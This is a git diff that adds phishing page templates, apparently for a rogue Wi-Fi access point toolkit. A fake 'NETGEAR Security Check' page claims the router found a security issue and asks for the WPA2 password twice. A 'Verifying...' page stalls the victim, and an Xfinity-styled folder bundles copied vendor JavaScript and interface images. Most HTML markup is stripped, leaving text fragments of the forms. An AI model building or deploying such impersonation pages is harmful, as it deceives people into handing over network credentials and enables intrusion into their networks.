color:#ffffff; font-weight:bold; - background-color:#E5E5E5; + background-color:#FFFFFF; padding-top:5px; } @@ -138,7 +138,7 @@ body { text-decoration:none; color:#4e4e4e; font-weight:bold; - background-color:#E5E5E5; + background-color:#FFFFFF; padding-top:5px; cursor:pointer; } @@ -364,7 +364,7 @@ body { width:170px; padding-top:0px; color:#adadad; - background:#e5e5e5; + background:#FFFFFF; padding-left:20px; } @@ -389,7 +389,7 @@ body { width:170px; padding-top:0px; color:#4e4e4e; - background:#e5e5e5; + background:#FFFFFF; padding-left:20px; } @@ -412,7 +412,7 @@ body { width:170px; padding-top:0px; color:#adadad; - background:#e5e5e5; + background:#FFFFFF; padding-left:20px; } diff --git a/sites/Login-Netgear/img/.DS_Store b/sites/Login-Netgear/img/.DS_Store new file mode 100644 index 0000000..61c121e Binary files /dev/null and b/sites/Login-Netgear/img/.DS_Store differ diff --git a/sites/Login-Netgear/img/Netgeargenie.png b/sites/Login-Netgear/img/Netgeargenie.png new file mode 100644 index 0000000..1240918 Binary files /dev/null and b/sites/Login-Netgear/img/Netgeargenie.png differ diff --git a/sites/Login-Netgear/img/NewNetgeargenie.png b/sites/Login-Netgear/img/NewNetgeargenie.png new file mode 100644 index 0000000..2d1a48e Binary files /dev/null and b/sites/Login-Netgear/img/NewNetgeargenie.png differ diff --git a/sites/Login-Netgear/img/ReadyShare.gif b/sites/Login-Netgear/img/ReadyShare.gif new file mode 100644 index 0000000..a39d540 Binary files /dev/null and b/sites/Login-Netgear/img/ReadyShare.gif differ diff --git a/sites/Login-Netgear/img/Wireless.gif b/sites/Login-Netgear/img/Wireless.gif new file mode 100644 index 0000000..1e29c71 Binary files /dev/null and b/sites/Login-Netgear/img/Wireless.gif differ diff --git a/sites/Login-Netgear/img/basic-black-button-large.gif b/sites/Login-Netgear/img/basic-black-button-large.gif new file mode 100644 index 0000000..b606a91 Binary files /dev/null and b/sites/Login-Netgear/img/basic-black-button-large.gif differ diff --git a/sites/Login-Netgear/img/basic-green-button.gif b/sites/Login-Netgear/img/basic-green-button.gif new file mode 100644 index 0000000..ae12fff Binary files /dev/null and b/sites/Login-Netgear/img/basic-green-button.gif differ diff --git a/sites/Login-Netgear/img/basic-purple-button-large.gif b/sites/Login-Netgear/img/basic-purple-button-large.gif new file mode 100644 index 0000000..d0f3fc4 Binary files /dev/null and b/sites/Login-Netgear/img/basic-purple-button-large.gif differ diff --git a/sites/Login-Netgear/img/box-header-background.gif b/sites/Login-Netgear/img/box-header-background.gif new file mode 100644 index 0000000..26fe581 Binary files /dev/null and b/sites/Login-Netgear/img/box-header-background.gif differ diff --git a/sites/Login-Netgear/img/cancel_icon.gif b/sites/Login-Netgear/img/cancel_icon.gif new file mode 100644 index 0000000..fe9b8c8 Binary files /dev/null and b/sites/Login-Netgear/img/cancel_icon.gif differ diff --git a/sites/Login-Netgear/img/cover-image_noh.gif b/sites/Login-Netgear/img/cover-image_noh.gif new file mode 100644 index 0000000..632f602 Binary files /dev/null and b/sites/Login-Netgear/img/cover-image_noh.gif differ diff --git a/sites/Login-Netgear/img/error.png b/sites/Login-Netgear/img/error.png new file mode 100644 index 0000000..6e23ace Binary files /dev/null and b/sites/Login-Netgear/img/error.png differ diff --git a/sites/Login-Netgear/img/firmware-hint-background-long-long.gif b/sites/Login-Netgear/img/firmware-hint-background-long-long.gif new file mode 100644 index 0000000..756dd50 Binary files /dev/null and b/sites/Login-Netgear/img/firmware-hint-background-long-long.gif differ diff --git a/sites/Login-Netgear/img/firmware-hint-background.gif b/sites/Login-Netgear/img/firmware-hint-background.gif new file mode 100644 index 0000000..471d9f3 Binary files /dev/null and b/sites/Login-Netgear/img/firmware-hint-background.gif differ diff --git a/sites/Login-Netgear/img/footer.gif b/sites/Login-Netgear/img/footer.gif new file mode 100644 index 0000000..b7c690d Binary files /dev/null and b/sites/Login-Netgear/img/footer.gif differ diff --git a/sites/Login-Netgear/img/footer_double.gif b/sites/Login-Netgear/img/footer_double.gif new file mode 100644 index 0000000..b7a65f7 Binary files /dev/null and b/sites/Login-Netgear/img/footer_double.gif differ diff --git a/sites/Login-Netgear/img/genie_copy_wifi_setup.gif b/sites/Login-Netgear/img/genie_copy_wifi_setup.gif new file mode 100644 index 0000000..890d2ed Binary files /dev/null and b/sites/Login-Netgear/img/genie_copy_wifi_setup.gif differ diff --git a/sites/Login-Netgear/img/genie_disable_wifi_setup.gif b/sites/Login-Netgear/img/genie_disable_wifi_setup.gif new file mode 100644 index 0000000..05f0140 Binary files /dev/null and b/sites/Login-Netgear/img/genie_disable_wifi_setup.gif differ diff --git a/sites/Login-Netgear/img/genie_download.jpg b/sites/Login-Netgear/img/genie_download.jpg new file mode 100644 index 0000000..075d904 Binary files /dev/null and b/sites/Login-Netgear/img/genie_download.jpg differ diff --git a/sites/Login-Netgear/img/genie_help_choose_1.gif b/sites/Login-Netgear/img/genie_help_choose_1.gif new file mode 100644 index 0000000..bb73a96 Binary files /dev/null and b/sites/Login-Netgear/img/genie_help_choose_1.gif differ diff --git a/sites/Login-Netgear/img/genie_help_choose_4.gif b/sites/Login-Netgear/img/genie_help_choose_4.gif new file mode 100644 index 0000000..de453c8 Binary files /dev/null and b/sites/Login-Netgear/img/genie_help_choose_4.gif differ diff --git a/sites/Login-Netgear/img/genie_learn_more_ap.jpg b/sites/Login-Netgear/img/genie_learn_more_ap.jpg new file mode 100644 index 0000000..20b8e53 Binary files /dev/null and b/sites/Login-Netgear/img/genie_learn_more_ap.jpg differ diff --git a/sites/Login-Netgear/img/genie_learn_more_router.jpg b/sites/Login-Netgear/img/genie_learn_more_router.jpg new file mode 100644 index 0000000..4d281d0 Binary files /dev/null and b/sites/Login-Netgear/img/genie_learn_more_router.jpg differ diff --git a/sites/Login-Netgear/img/good-icon.gif b/sites/Login-Netgear/img/good-icon.gif new file mode 100644 index 0000000..87eb104 Binary files /dev/null and b/sites/Login-Netgear/img/good-icon.gif differ diff --git a/sites/Login-Netgear/img/gray-button.gif b/sites/Login-Netgear/img/gray-button.gif new file mode 100644 index 0000000..32081c3 Binary files /dev/null and b/sites/Login-Netgear/img/gray-button.gif differ diff --git a/sites/Login-Netgear/img/help-icon.gif b/sites/Login-Netgear/img/help-icon.gif new file mode 100644 index 0000000..05f1c6c Binary files /dev/null and b/sites/Login-Netgear/img/help-icon.gif differ diff --git a/sites/Login-Netgear/img/helparrowdown-icon.gif b/sites/Login-Netgear/img/helparrowdown-icon.gif new file mode 100644 index 0000000..7fa29f1 Binary files /dev/null and b/sites/Login-Netgear/img/helparrowdown-icon.gif differ diff --git a/sites/Login-Netgear/img/helparrowup-icon.gif b/sites/Login-Netgear/img/helparrowup-icon.gif new file mode 100644 index 0000000..33b1e0e Binary files /dev/null and b/sites/Login-Netgear/img/helparrowup-icon.gif differ diff --git a/sites/Login-Netgear/img/info.gif b/sites/Login-Netgear/img/info.gif new file mode 100644 index 0000000..c81828d Binary files /dev/null and b/sites/Login-Netgear/img/info.gif differ diff --git a/sites/Login-Netgear/img/label.png b/sites/Login-Netgear/img/label.png new file mode 100644 index 0000000..9189209 Binary files /dev/null and b/sites/Login-Netgear/img/label.png differ diff --git a/sites/Login-Netgear/img/main-page-bottom-large.gif b/sites/Login-Netgear/img/main-page-bottom-large.gif new file mode 100644 index 0000000..1db0c61 Binary files /dev/null and b/sites/Login-Netgear/img/main-page-bottom-large.gif differ diff --git a/sites/Login-Netgear/img/main-page-bottom.gif b/sites/Login-Netgear/img/main-page-bottom.gif new file mode 100644 index 0000000..a79af6b Binary files /dev/null and b/sites/Login-Netgear/img/main-page-bottom.gif differ diff --git a/sites/Login-Netgear/img/page-table-bottom-2.gif b/sites/Login-Netgear/img/page-table-bottom-2.gif new file mode 100644 index 0000000..36e8dbe Binary files /dev/null and b/sites/Login-Netgear/img/page-table-bottom-2.gif differ diff --git a/sites/Login-Netgear/img/page-table-bottom.gif b/sites/Login-Netgear/img/page-table-bottom.gif new file mode 100644 index 0000000..512c7b9 Binary files /dev/null and b/sites/Login-Netgear/img/page-table-bottom.gif differ diff --git a/sites/Login-Netgear/img/page-table-button-gray.gif b/sites/Login-Netgear/img/page-table-button-gray.gif new file mode 100644 index 0000000..c874f75 Binary files /dev/null and b/sites/Login-Netgear/img/page-table-button-gray.gif differ diff --git a/sites/Login-Netgear/img/page-table-button-large.gif b/sites/Login-Netgear/img/page-table-button-large.gif new file mode 100644 index 0000000..51f27bc Binary files /dev/null and b/sites/Login-Netgear/img/page-table-button-large.gif differ diff --git a/sites/Login-Netgear/img/page-table-button.gif b/sites/Login-Netgear/img/page-table-button.gif new file mode 100644 index 0000000..bde1533 Binary files /dev/null and b/sites/Login-Netgear/img/page-table-button.gif differ diff --git a/sites/Login-Netgear/img/page-table-icon.gif b/sites/Login-Netgear/img/page-table-icon.gif new file mode 100644 index 0000000..a35fa4e Binary files /dev/null and b/sites/Login-Netgear/img/page-table-icon.gif differ diff --git a/sites/Login-Netgear/img/page-table-seperate.gif b/sites/Login-Netgear/img/page-table-seperate.gif new file mode 100644 index 0000000..2ac36db Binary files /dev/null and b/sites/Login-Netgear/img/page-table-seperate.gif differ diff --git a/sites/Login-Netgear/img/pvpn.jpg b/sites/Login-Netgear/img/pvpn.jpg new file mode 100644 index 0000000..af56349 Binary files /dev/null and b/sites/Login-Netgear/img/pvpn.jpg differ diff --git a/sites/Login-Netgear/img/qos-tab-active.gif b/sites/Login-Netgear/img/qos-tab-active.gif new file mode 100644 index 0000000..132417a Binary files /dev/null and b/sites/Login-Netgear/img/qos-tab-active.gif differ diff --git a/sites/Login-Netgear/img/qos-tab-active.jpg b/sites/Login-Netgear/img/qos-tab-active.jpg new file mode 100644 index 0000000..4919957 Binary files /dev/null and b/sites/Login-Netgear/img/qos-tab-active.jpg differ diff --git a/sites/Login-Netgear/img/qos-tab-hover.jpg b/sites/Login-Netgear/img/qos-tab-hover.jpg new file mode 100644 index 0000000..4d1b02c Binary files /dev/null and b/sites/Login-Netgear/img/qos-tab-hover.jpg differ diff --git a/sites/Login-Netgear/img/qos-tab-nonactive.gif b/sites/Login-Netgear/img/qos-tab-nonactive.gif new file mode 100644 index 0000000..31ebc33 Binary files /dev/null and b/sites/Login-Netgear/img/qos-tab-nonactive.gif differ diff --git a/sites/Login-Netgear/img/qos-tab-nonactive.jpg b/sites/Login-Netgear/img/qos-tab-nonactive.jpg new file mode 100644 index 0000000..00a4a05 Binary files /dev/null and b/sites/Login-Netgear/img/qos-tab-nonactive.jpg differ diff --git a/sites/Login-Netgear/img/refresh-icon.gif b/sites/Login-Netgear/img/refresh-icon.gif new file mode 100644 index 0000000..64eb451 Binary files /dev/null and b/sites/Login-Netgear/img/refresh-icon.gif differ diff --git a/sites/Login-Netgear/img/remote_app.jpg b/sites/Login-Netgear/img/remote_app.jpg new file mode 100644 index 0000000..c79428d Binary files /dev/null and b/sites/Login-Netgear/img/remote_app.jpg differ diff --git a/sites/Login-Netgear/img/roundbottomleft_table.gif b/sites/Login-Netgear/img/roundbottomleft_table.gif new file mode 100644 index 0000000..d27bfef Binary files /dev/null and b/sites/Login-Netgear/img/roundbottomleft_table.gif differ diff --git a/sites/Login-Netgear/img/roundbottomright_table.gif b/sites/Login-Netgear/img/roundbottomright_table.gif new file mode 100644 index 0000000..fe6e592 Binary files /dev/null and b/sites/Login-Netgear/img/roundbottomright_table.gif differ diff --git a/sites/Login-Netgear/img/roundedcornr_239763.gif b/sites/Login-Netgear/img/roundedcornr_239763.gif new file mode 100644 index 0000000..e94912e Binary files /dev/null and b/sites/Login-Netgear/img/roundedcornr_239763.gif differ diff --git a/sites/Login-Netgear/img/roundedcornr_306126.gif b/sites/Login-Netgear/img/roundedcornr_306126.gif new file mode 100644 index 0000000..1aa6853 Binary files /dev/null and b/sites/Login-Netgear/img/roundedcornr_306126.gif differ diff --git a/sites/Login-Netgear/img/roundedcornr_637010.gif b/sites/Login-Netgear/img/roundedcornr_637010.gif new file mode 100644 index 0000000..fcc7755 Binary files /dev/null and b/sites/Login-Netgear/img/roundedcornr_637010.gif differ diff --git a/sites/Login-Netgear/img/roundedcornr_802784.gif b/sites/Login-Netgear/img/roundedcornr_802784.gif new file mode 100644 index 0000000..2c3e1af Binary files /dev/null and b/sites/Login-Netgear/img/roundedcornr_802784.gif differ diff --git a/sites/Login-Netgear/img/roundedcornr_806183.gif b/sites/Login-Netgear/img/roundedcornr_806183.gif new file mode 100644 index 0000000..6811cdf Binary files /dev/null and b/sites/Login-Netgear/img/roundedcornr_806183.gif differ diff --git a/sites/Login-Netgear/img/roundleft_apply.gif b/sites/Login-Netgear/img/roundleft_apply.gif new file mode 100644 index 0000000..16ee41c Binary files /dev/null and b/sites/Login-Netgear/img/roundleft_apply.gif differ diff --git a/sites/Login-Netgear/img/roundleft_button.gif b/sites/Login-Netgear/img/roundleft_button.gif new file mode 100644 index 0000000..3179485 Binary files /dev/null and b/sites/Login-Netgear/img/roundleft_button.gif differ diff --git a/sites/Login-Netgear/img/roundleft_grey.gif b/sites/Login-Netgear/img/roundleft_grey.gif new file mode 100644 index 0000000..4459c72 Binary files /dev/null and b/sites/Login-Netgear/img/roundleft_grey.gif differ diff --git a/sites/Login-Netgear/img/roundleft_update.gif b/sites/Login-Netgear/img/roundleft_update.gif new file mode 100644 index 0000000..cca7b00 Binary files /dev/null and b/sites/Login-Netgear/img/roundleft_update.gif differ diff --git a/sites/Login-Netgear/img/roundright_apply.gif b/sites/Login-Netgear/img/roundright_apply.gif new file mode 100644 index 0000000..0eae77f Binary files /dev/null and b/sites/Login-Netgear/img/roundright_apply.gif differ diff --git a/sites/Login-Netgear/img/roundright_button.gif b/sites/Login-Netgear/img/roundright_button.gif new file mode 100644 index 0000000..cd41026 Binary files /dev/null and b/sites/Login-Netgear/img/roundright_button.gif differ diff --git a/sites/Login-Netgear/img/roundright_grey.gif b/sites/Login-Netgear/img/roundright_grey.gif new file mode 100644 index 0000000..06958a3 Binary files /dev/null and b/sites/Login-Netgear/img/roundright_grey.gif differ diff --git a/sites/Login-Netgear/img/roundright_update.gif b/sites/Login-Netgear/img/roundright_update.gif new file mode 100644 index 0000000..cd032d7 Binary files /dev/null and b/sites/Login-Netgear/img/roundright_update.gif differ diff --git a/sites/Login-Netgear/img/roundtopleft_table.gif b/sites/Login-Netgear/img/roundtopleft_table.gif new file mode 100644 index 0000000..c1348db Binary files /dev/null and b/sites/Login-Netgear/img/roundtopleft_table.gif differ diff --git a/sites/Login-Netgear/img/roundtopright_table.gif b/sites/Login-Netgear/img/roundtopright_table.gif new file mode 100644 index 0000000..5ca1997 Binary files /dev/null and b/sites/Login-Netgear/img/roundtopright_table.gif differ diff --git a/sites/Login-Netgear/img/search-go.gif b/sites/Login-Netgear/img/search-go.gif new file mode 100644 index 0000000..298b363 Binary files /dev/null and b/sites/Login-Netgear/img/search-go.gif differ diff --git a/sites/Login-Netgear/img/search_button.gif b/sites/Login-Netgear/img/search_button.gif new file mode 100644 index 0000000..f2f48c5 Binary files /dev/null and b/sites/Login-Netgear/img/search_button.gif differ diff --git a/sites/Login-Netgear/img/search_button_long.gif b/sites/Login-Netgear/img/search_button_long.gif new file mode 100644 index 0000000..d184bed Binary files /dev/null and b/sites/Login-Netgear/img/search_button_long.gif differ diff --git a/sites/Login-Netgear/img/search_button_middle.gif b/sites/Login-Netgear/img/search_button_middle.gif new file mode 100644 index 0000000..3d7d3b7 Binary files /dev/null and b/sites/Login-Netgear/img/search_button_middle.gif differ diff --git a/sites/Login-Netgear/img/sel_win7.gif b/sites/Login-Netgear/img/sel_win7.gif new file mode 100644 index 0000000..a919b00 Binary files /dev/null and b/sites/Login-Netgear/img/sel_win7.gif differ diff --git a/sites/Login-Netgear/img/subMenuActive.png b/sites/Login-Netgear/img/subMenuActive.png new file mode 100644 index 0000000..707d7ab Binary files /dev/null and b/sites/Login-Netgear/img/subMenuActive.png differ diff --git a/sites/Login-Netgear/img/subMenuActiveLarge.png b/sites/Login-Netgear/img/subMenuActiveLarge.png new file mode 100644 index 0000000..54ff124 Binary files /dev/null and b/sites/Login-Netgear/img/subMenuActiveLarge.png differ diff --git a/sites/Login-Netgear/img/subhead-bottom.gif b/sites/Login-Netgear/img/subhead-bottom.gif new file mode 100644 index 0000000..9c129b9 Binary files /dev/null and b/sites/Login-Netgear/img/subhead-bottom.gif differ diff --git a/sites/Login-Netgear/img/subhead-top.gif b/sites/Login-Netgear/img/subhead-top.gif new file mode 100644 index 0000000..eb0555d Binary files /dev/null and b/sites/Login-Netgear/img/subhead-top.gif differ diff --git a/sites/Login-Netgear/img/subhead2-background.jpg b/sites/Login-Netgear/img/subhead2-background.jpg new file mode 100644 index 0000000..3944b38 Binary files /dev/null and b/sites/Login-Netgear/img/subhead2-background.jpg differ diff --git a/sites/Login-Netgear/img/subhead2-background_noh.jpg b/sites/Login-Netgear/img/subhead2-background_noh.jpg new file mode 100644 index 0000000..7bb6a20 Binary files /dev/null and b/sites/Login-Netgear/img/subhead2-background_noh.jpg differ diff --git a/sites/Login-Netgear/img/subhead2-bottom.gif b/sites/Login-Netgear/img/subhead2-bottom.gif new file mode 100644 index 0000000..9ddbffd Binary files /dev/null and b/sites/Login-Netgear/img/subhead2-bottom.gif differ diff --git a/sites/Login-Netgear/img/subhead2-top.gif b/sites/Login-Netgear/img/subhead2-top.gif new file mode 100644 index 0000000..84b46a3 Binary files /dev/null and b/sites/Login-Netgear/img/subhead2-top.gif differ diff --git a/sites/Login-Netgear/img/subhead2-top_noh.gif b/sites/Login-Netgear/img/subhead2-top_noh.gif new file mode 100644 index 0000000..b84894e Binary files /dev/null and b/sites/Login-Netgear/img/subhead2-top_noh.gif differ diff --git a/sites/Login-Netgear/img/tab-active.gif b/sites/Login-Netgear/img/tab-active.gif new file mode 100644 index 0000000..df7d05e Binary files /dev/null and b/sites/Login-Netgear/img/tab-active.gif differ diff --git a/sites/Login-Netgear/img/tab-nonactive.gif b/sites/Login-Netgear/img/tab-nonactive.gif new file mode 100644 index 0000000..a87f4f8 Binary files /dev/null and b/sites/Login-Netgear/img/tab-nonactive.gif differ diff --git a/sites/Login-Netgear/img/tabs.gif b/sites/Login-Netgear/img/tabs.gif new file mode 100644 index 0000000..12382cb Binary files /dev/null and b/sites/Login-Netgear/img/tabs.gif differ diff --git a/sites/Login-Netgear/img/title.gif b/sites/Login-Netgear/img/title.gif new file mode 100644 index 0000000..f92b596 Binary files /dev/null and b/sites/Login-Netgear/img/title.gif differ diff --git a/sites/Login-Netgear/img/wait.gif b/sites/Login-Netgear/img/wait.gif new file mode 100644 index 0000000..9337ee2 Binary files /dev/null and b/sites/Login-Netgear/img/wait.gif differ diff --git a/sites/Login-Netgear/img/warning-icon.gif b/sites/Login-Netgear/img/warning-icon.gif new file mode 100644 index 0000000..3f07da2 Binary files /dev/null and b/sites/Login-Netgear/img/warning-icon.gif differ diff --git a/sites/Login-Netgear/img/warning.png b/sites/Login-Netgear/img/warning.png new file mode 100644 index 0000000..d996dc9 Binary files /dev/null and b/sites/Login-Netgear/img/warning.png differ diff --git a/sites/Login-Netgear/img/warrow.jpg b/sites/Login-Netgear/img/warrow.jpg new file mode 100644 index 0000000..fb14ed0 Binary files /dev/null and b/sites/Login-Netgear/img/warrow.jpg differ diff --git a/sites/Login-Netgear/index.htm b/sites/Login-Netgear/index.htm new file mode 100644 index 0000000..19e3eee --- /dev/null +++ b/sites/Login-Netgear/index.htm @@ -0,0 +1,71 @@ + + + +NETGEAR Security Check + + + + + + + + + + + + + +
+ +
Netgear Router + +
+ +

+
+ + + + + + +
+ +
Your NETGEAR™ wireless router detected a security issue. Please enter your wireless security settings to proceed. + +
+ +
+
   WPA2 Password: +
Confirm Password: +
+ +
+ +
Note: If you have not changed your wireless settings, the default password is printed on the bottom of the router.
+
+ + +
+ +
+ + + + +
+ + + +
+
+ + + + + diff --git a/sites/Login-Netgear/upgrading.html b/sites/Login-Netgear/upgrading.html new file mode 100644 index 0000000..17173e6 --- /dev/null +++ b/sites/Login-Netgear/upgrading.html @@ -0,0 +1,44 @@ + + + +Verifying + + + + + + + + + + + + + + + +
+ +
Netgear Router + +
+ + + + + + + +
+

Verifying... reload this page in 1 minute.

+ +
+ + + + + \ No newline at end of file diff --git a/sites/Login-Xfinity/.DS_Store b/sites/Login-Xfinity/.DS_Store new file mode 100644 index 0000000..8e31db7 Binary files /dev/null and b/sites/Login-Xfinity/.DS_Store differ diff --git a/sites/Login-Xfinity/Xfinity_files/.DS_Store b/sites/Login-Xfinity/Xfinity_files/.DS_Store new file mode 100644 index 0000000..ad60de5 Binary files /dev/null and b/sites/Login-Xfinity/Xfinity_files/.DS_Store differ diff --git a/sites/Login-Xfinity/Xfinity_files/base.js b/sites/Login-Xfinity/Xfinity_files/base.js new file mode 100755 index 0000000..a361cc8 --- /dev/null +++ b/sites/Login-Xfinity/Xfinity_files/base.js @@ -0,0 +1,2656 @@ +//Copyright 2011-2012, ARRIS Group, Inc., All rights reserved. +var _afterBuild = new Array(); +var _afterApply = new Array(); +var ag = null; +var _technician = { }; +var base = ""; +var basePath = ""; +var _lastEvent; + +function supports_html5_storage() { + try { + return 'sessionStorage' in window && window['sessionStorage'] !== null; + } catch (e) { + return false; + } +} +var _sessionStorage = supports_html5_storage() ? sessionStorage : null ; +function getSessionStorage(key) { + if (_sessionStorage) + return _sessionStorage[key]; + return Base64.decode(readCookie(key)); +} +function setSessionStorage(key,value) { + if (_sessionStorage) + _sessionStorage[key] = value; + else createCookie(key, Base64.encode(value)); +} + +// 1 - log, 2-show,4-verify,8-notrans, 64-set1 128-setmult +function debug(value) { + if (value !== undefined) + setSessionStorage("ar_debug_state",value); + return getSessionStorage("ar_debug_state") || 0; +} +function hardwareVersion(substring) { + if (getSessionStorage("ar_hw_version") === undefined || getSessionStorage("ar_hw_version")===null) + setSessionStorage("ar_hw_version", snmpGet1(arHardwareVersion.oid+".0") || "???"); + var hv = getSessionStorage("ar_hw_version"); + if (substring !== undefined) + return hv.indexOf(substring) != -1; + return hv; +} +function customerId() { + if (getSessionStorage("ar_cust_id") === undefined || getSessionStorage("ar_cust_id") === null) { + setSessionStorage("ar_cust_id", snmpGet1(arCustomID.oid+".0") || "0"); + } + return getSessionStorage("ar_cust_id").asInt(); +} + +function userRadioControl() { + if (getSessionStorage("ar_user_rc") === undefined || getSessionStorage("ar_user_rc") === null) { + setSessionStorage("ar_user_rc", snmpGet1(arWiFiRadioControlMode.oid+".0").asInt(0) === 0 ? 1 : 0); + } + return getSessionStorage("ar_user_rc") == "1"; +} + +function language() { + if (getSessionStorage("ar_language") === undefined || !getSessionStorage("ar_language")) { + setSessionStorage("ar_language", snmpGet1(arLanguage.oid+".0") || "English"); + } + return getSessionStorage("ar_language"); +} +function clearLanguage() { + setSessionStorage("ar_language", ""); +} + + +function isTwc() { + return customerId() === 3; +} +function isSuddenlink() { + return customerId() === 12; +} + +var menuStateLoaded = false; +function loadMenus() { + if (!menuStateLoaded && (getSessionStorage("ar_hide") === undefined || !getSessionStorage("ar_hide"))) { + menuStateLoaded = true; + + var table = [ ] ; // table stopped working WebAccessTable.getTable([arWebAccessPage]); + for (var i=1; i<20; i++) { + var s = snmpGet1(arWebAccessPage.oid+"."+i); + if (s) + table.push([s]); + else break; + } + + var hides = ";"; + var disables = ";"; + function loadRow(row) { + var ss = row[0].split(";"); + _.each(ss, function(sss) { + var ssss = sss.split(":"); + if (ssss[0] === "hide") + hides += ssss[1]+";"; + if (ssss[0] === "disable") + disables += ssss[1]+";"; + }); + } + _.each(table, loadRow); + setSessionStorage("ar_hide", hides); + setSessionStorage("ar_disable", disables); + } +} + +// todo: verify twc here +function menuVisible(s) { + loadMenus(); + return (isTechnician() && !isTwc()) || !s || !(getSessionStorage("ar_hide").contains(s+";")); +} +function submenuVisible(s) { + loadMenus(); + return (isTechnician() && !isTwc()) || !s || !(getSessionStorage("ar_hide").contains(s+";")); +} +function pageEnabled(s) { + loadMenus(); + return (isTechnician() && !isTwc()) || !s || !(getSessionStorage("ar_disable").contains(s+";")); +} +function fieldsetVisible(s) { + loadMenus(); + return isTechnician() || !s || !(getSessionStorage("ar_hide").contains(base+"_"+s+";")); +} + +jQuery.fn.valOrChecked = function(v) { + var vals = []; + this.each(function() { + var a = $(this); + if (v !== undefined) { + if (a.is(':checkbox')) + a.attr("checked", !(v == "0")); + else a.val(v); + vals[0] = this; + } else { + vals.push(a.is(':checkbox') ? (a.is(":checked") ? 1 : 0) : a.val()); + } + }); + return vals[0]; +}; + +$.fn.truncateTextToFit = function() { + this.each(function() { + if ($(this).textWidth() <= $(this).width()) + return; + var t = $(this).text(); + $(this).attr("title",t); + while ($(this).textWidth() > $(this).width()) { + $(this).text(t.substr(0, t.length-1)); + t = $(this).text(); + } + $(this).html(t.substr(0, t.length-2)+" …"); + }) +}; + + +jQuery.log = function(message) { + if (debug()&1 && window.console && window.console.debug) { + window.console.debug(message); + } +}; +jQuery.fn.textWidth = function(){ + var calc = '' + $(this).text() + ''; + $('body').append(calc); + var width = $('body').find('span:last').width(); + $('body').find('span:last').remove(); + return width; +}; + +Boolean.prototype.asInt = function() { + return this.valueOf() ? 1 : 0; +} +Number.prototype.asInt = function() { + return Math.floor(this); +} + +Number.prototype.asString = function(len) { + var s = this.toString(); + if (s.length < len) + return "00000000000000000000000000000000".substr(0, len - s.length) + s; + return s; +} +Number.prototype.asHexString = function(len) { + var s = this.toString(16); + if (s.length < len) + return "00000000000000000000000000000000".substr(0, len - s.length) + s; + return s; +} +String.prototype.asInt = function(nanVal) { + var v = parseInt(this,10); + return isNaN(v) ? nanVal : v; +} +String.prototype.fmt = function () { + var args = arguments; + var pattern = new RegExp("%([0-" + arguments.length + "])", "g"); + return this.replace(pattern, function(match, index) { + return args[index]; + }); +} + +String.prototype.varsub = function(subfunc) { + var ss = this; + if (this.indexOf('{{') !== -1) + _.each(this.match(/{{[^}]*}}/g) || [], function(s) { + ss = ss.replace(s,subfunc(s.substr(2,s.length-4))); + }); + return ss.valueOf(); +} + +String.prototype.startsWith = function(str) { + return (this.indexOf(str) === 0); +} +String.prototype.endsWith = function (str) { + var lastIndex = this.lastIndexOf(str); + return (lastIndex != -1) && (lastIndex + str.length == this.length); +} +String.prototype.grow = function(i) { + var len = this.length + i; + if (len < 0) + len = 0; + if (len <= this.length) { + return this.substr(0, len); + } else { + var s = this; + while (len-- > this.length) + s += " "; + return s; + } +} +String.prototype.contains = function () { + for (var i=0; i0) { + s = ch+s; + } + return s; +}; +String.prototype.trim = function() { + return this.replace(/^\s+|\s+$/g,""); +} +String.prototype.ltrim = function() { + return this.replace(/^\s+/,""); +} +String.prototype.rtrim = function() { + return this.replace(/\s+$/,""); +} + +Array.prototype.unique = function unique(keyfunc) { + if (!keyfunc) keyfunc = function(a) { return a; }; + var o = { }; + _.each(this, function(e) { o[keyfunc(e)]=true; }) + var ua = [ ]; + _.each(this, function(e) { if (o[keyfunc(e)]) ua.push(e); o[keyfunc(e)]=false; }); + return ua; +} + +var Base64 = { + // private property + _keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", + isBase64 : function(input) { + for (var i=0; i> 2; + enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); + enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); + enc4 = chr3 & 63; + if (isNaN(chr2)) { + enc3 = enc4 = 64; + } else if (isNaN(chr3)) { + enc4 = 64; + } + output = output + + this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) + + this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4); + + } + return output; + }, + // public method for decoding + decode : function (input) { + if (input === null) + return ""; + var output = ""; + var chr1, chr2, chr3; + var enc1, enc2, enc3, enc4; + var i = 0; + input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); + while (i < input.length) { + enc1 = this._keyStr.indexOf(input.charAt(i++)); + enc2 = this._keyStr.indexOf(input.charAt(i++)); + enc3 = this._keyStr.indexOf(input.charAt(i++)); + enc4 = this._keyStr.indexOf(input.charAt(i++)); + chr1 = (enc1 << 2) | (enc2 >> 4); + chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); + chr3 = ((enc3 & 3) << 6) | enc4; + output = output + String.fromCharCode(chr1); + if (enc3 != 64) { + output = output + String.fromCharCode(chr2); + } + if (enc4 != 64) { + output = output + String.fromCharCode(chr3); + } + } + output = Base64._utf8_decode(output); + return output; + }, + + // private method for UTF-8 encoding + _utf8_encode : function (string) { + string = string.replace(/\r\n/g,"\n"); + var utftext = ""; + for (var n = 0; n < string.length; n++) { + var c = string.charCodeAt(n); + if (c < 128) { + utftext += String.fromCharCode(c); + } + else if((c > 127) && (c < 2048)) { + utftext += String.fromCharCode((c >> 6) | 192); + utftext += String.fromCharCode((c & 63) | 128); + } + else { + utftext += String.fromCharCode((c >> 12) | 224); + utftext += String.fromCharCode(((c >> 6) & 63) | 128); + utftext += String.fromCharCode((c & 63) | 128); + } + } + return utftext; + }, + // private method for UTF-8 decoding + _utf8_decode : function (utftext) { + var string = ""; + var i = 0; + var c = c1 = c2 = 0; + while ( i < utftext.length ) { + c = utftext.charCodeAt(i); + if (c < 128) { + string += String.fromCharCode(c); + i++; + } + else if((c > 191) && (c < 224)) { + c2 = utftext.charCodeAt(i+1); + string += String.fromCharCode(((c & 31) << 6) | (c2 & 63)); + i += 2; + } + else { + c2 = utftext.charCodeAt(i+1); + c3 = utftext.charCodeAt(i+2); + string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63)); + i += 3; + } + } + return string; + } +} + + + + + +function createCookie(name, value, seconds) { + var expires = ""; + if (seconds) { + var date = new Date(); + date.setTime(date.getTime() + (seconds * 1000 + 15)); + 